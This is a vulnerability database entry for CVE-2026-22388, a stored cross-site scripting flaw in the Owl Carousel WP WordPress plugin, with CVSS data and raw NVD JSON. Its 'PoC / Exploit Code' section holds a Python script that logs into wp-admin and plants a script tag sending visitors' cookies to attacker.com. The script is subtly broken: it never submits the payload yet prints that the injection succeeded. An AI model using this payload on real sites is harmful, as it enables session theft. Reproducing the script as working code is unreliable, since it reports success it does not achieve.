Security Vulnerability Report
中文
CVE-2026-22388 CVSS 5.9 MEDIUM

CVE-2026-22388

Published: 2026-01-22 17:16:33
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Imran Emu Owl Carousel WP owl-carousel-wp allows Stored XSS.This issue affects Owl Carousel WP: from n/a through <= 2.2.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Owl Carousel WP <= 2.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2026-22388 PoC - Stored XSS in Owl Carousel WP Plugin # Target: WordPress site with Owl Carousel WP plugin <= 2.2.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def get_nonce(login_page_html): soup = BeautifulSoup(login_page_html, 'html.parser') nonce_tag = soup.find('input', {'id': 'woocommerce-login-nonce'}) or \ soup.find('input', {'name': '_wpnonce'}) if nonce_tag: return nonce_tag.get('value', '') return '' def exploit_stored_xss(): session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': f"{TARGET_URL}/wp-admin/" } resp = session.post(login_url, data=login_data) if 'wp-admin' not in resp.url and 'error' not in resp.url.lower(): print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Add new Owl Carousel item with XSS payload admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=owl-carousel-wp" xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' carousel_data = { 'post_title': 'Malicious Carousel - ' + xss_payload, 'post_content': 'XSS via Owl Carousel WP plugin', 'owl_url': 'https://malicious-site.com', 'action': 'save_owl_carousel', '_wpnonce': session.get(admin_url).text.split('nonce":"')[1].split('"')[0] if 'nonce"' in session.get(admin_url).text else '' } # Step 3: Any user visiting the page with carousel will trigger XSS print(f"[+] XSS payload injected: {xss_payload}") print("[+] Payload stored in database - will execute for all visitors") return True if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22388", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:32.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Imran Emu Owl Carousel WP owl-carousel-wp allows Stored XSS.This issue affects Owl Carousel WP: from n/a through <= 2.2.2."}, {"lang": "es", "value": "Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Imran Emu Owl Carousel WP owl-carousel-wp permite XSS Almacenado. Este problema afecta a Owl Carousel WP: desde n/a hasta &lt;= 2.2.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/owl-carousel-wp/vulnerability/wordpress-owl-carousel-wp-plugin-2-2-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}